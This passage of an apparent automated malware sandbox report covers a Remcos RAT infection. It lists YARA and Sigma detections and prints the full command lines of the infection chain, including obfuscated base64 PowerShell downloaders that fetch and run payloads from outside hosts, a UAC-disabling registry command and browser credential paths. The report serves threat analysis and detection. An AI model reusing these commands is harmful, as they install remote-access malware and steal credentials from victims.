          29.2.CasPol.exe.400000.0.raw.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
            29.2.CasPol.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
              29.2.CasPol.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                29.2.CasPol.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
                • 0x6b6f8:$a1: Remcos restarted by watchdog!
                • 0x6bc70:$a3: %02i:%02i:%02i:%03i
                29.2.CasPol.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
                • 0x65994:$str_a1: C:\Windows\System32\cmd.exe
                • 0x65910:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x65910:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x65e10:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
                • 0x66410:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
                • 0x65a04:$str_b2: Executing file:
                • 0x6683c:$str_b3: GetDirectListeningPort
                • 0x66200:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
                • 0x66380:$str_b7: \update.vbs
                • 0x65a2c:$str_b9: Downloaded file:
                • 0x65a18:$str_b10: Downloading file:
                • 0x65abc:$str_b12: Failed to upload file:
                • 0x66804:$str_b13: StartForward
                • 0x66824:$str_b14: StopForward
                • 0x662d8:$str_b15: fso.DeleteFile "
                • 0x6626c:$str_b16: On Error Resume Next
                • 0x66308:$str_b17: fso.DeleteFolder "
                • 0x65aac:$str_b18: Uploaded file:
                • 0x65a6c:$str_b19: Unable to delete:
                • 0x662a0:$str_b20: while fso.FileExists("
                • 0x65f49:$str_c0: [Firefox StoredLogins not found]
                Click to see the 7 entries

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Base64 Encoded PowerShell Command Detected
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVl
                Sigma detected: File With Uncommon Extension Created By An Office Application
                Source: File createdAuthor: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3328, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdgoodthingsfor[1].hta
                Sigma detected: Potentially Suspicious PowerShell Child Processes
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3792, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" , ProcessId: 3096, ProcessName: wscript.exe
                Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVl
                Sigma detected: Suspicious MSHTA Child Process
                Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICA
                Sigma detected: Suspicious Microsoft Office Child Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 3328, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 3640, ProcessName: mshta.exe
                Sigma detected: WScript or CScript Dropper
                Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3792, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" , ProcessId: 3096, ProcessName: wscript.exe
                Sigma detected: Dynamic .NET Compilation Via Csc.EXE
                Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7a